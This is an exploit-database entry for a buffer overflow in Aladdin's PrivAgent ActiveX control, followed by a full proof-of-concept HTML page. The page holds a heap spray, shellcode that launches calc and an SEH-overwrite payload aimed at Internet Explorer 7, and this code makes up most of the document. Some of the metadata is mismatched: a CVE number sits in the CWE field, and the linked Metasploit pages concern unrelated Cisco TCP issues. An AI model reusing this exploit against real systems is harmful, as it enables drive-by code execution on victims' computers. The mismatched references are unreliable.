Aladdin Knowledge Systems Ltd. PrivAgent ActiveX Control Overflow

vendor:

PrivAgent ActiveX Control

by:

Blake

9,3

CVSS

HIGH

ActiveX Control Overflow

119

CWE

Product Name: PrivAgent ActiveX Control

Affected Version From: activex2002

Affected Version To: activex2002

Patch Exists: YES

Related CWE: CVE-2008-4609

CPE: a:aladdin_knowledge_systems:privagent_activex_control

Metasploit: https://www.rapid7.com/db/vulnerabilities/cisco-nx-os-cisco-sa-20090908-tcp24/, https://www.rapid7.com/db/vulnerabilities/cisco-sa-20090908-tcp24/

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 2003 SP2 / IE 7

2008

Aladdin Knowledge Systems Ltd. PrivAgent ActiveX Control Overflow

A buffer overflow vulnerability exists in Aladdin Knowledge Systems Ltd. PrivAgent ActiveX Control due to improper bounds checking of user-supplied input. An attacker can exploit this vulnerability by enticing a victim to visit a malicious web page containing a specially crafted HTML that when loaded, will trigger the overflow and execute arbitrary code on the victim's system.

Mitigation:

Upgrade to the latest version of Aladdin Knowledge Systems Ltd. PrivAgent ActiveX Control.

Source

Exploit-DB raw data:

<html>
<title>Aladdin Knowledge Systems Ltd. PrivAgent ActiveX Control Overflow</title>
<!--
Aladdin Knowledge Systems Lt.d PrivAgent ActiveX Control Overflow
Vendor: Aladdin Knowledge Systems
Version: activex2002
Tested on: Windows 2003 SP2 / IE 7
Download: ftp://ftp.aladdin.com//pub/privilege/activex2002.zip
Author: Blake
Original Discovery: shinnai
 
CLSID: 09F68A41-2FBE-11D3-8C9D-0008C7D901B6
Safe for Scripting: True
Safe for Initialization: True
-->
 <object classid='clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6' id='test'></object>
  <script>
  
	// heap spray for IE7
	//calc - 196 bytes
	var shellcode = unescape('%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5%u6c61%u0063');
	var bigblock = unescape('%u9090%u9090');
	var headersize = 20;
	var slackspace = headersize + shellcode.length;
	while (bigblock.length < slackspace) bigblock += bigblock;
	var fillblock = bigblock.substring(0,slackspace);
	var block = bigblock.substring(0,bigblock.length - slackspace);
	while (block.length + slackspace < 0x40000) block = block + block + fillblock;
	var memory = new Array();
	for (i = 0; i < 250; i++){ memory[i] = block + shellcode }
	
	buffer = "";
	while(buffer.length < 1224) buffer+="A";
	next_seh = "BBBB";
	seh = "\x0a\x0a\x0a\x0a";	// heap address
	junk = "";
	while (junk.length < 1700) junk+="D";
	
	var payload = buffer + next_seh + seh + junk;

   test.ChooseFilePath(payload);
  </script>
</html>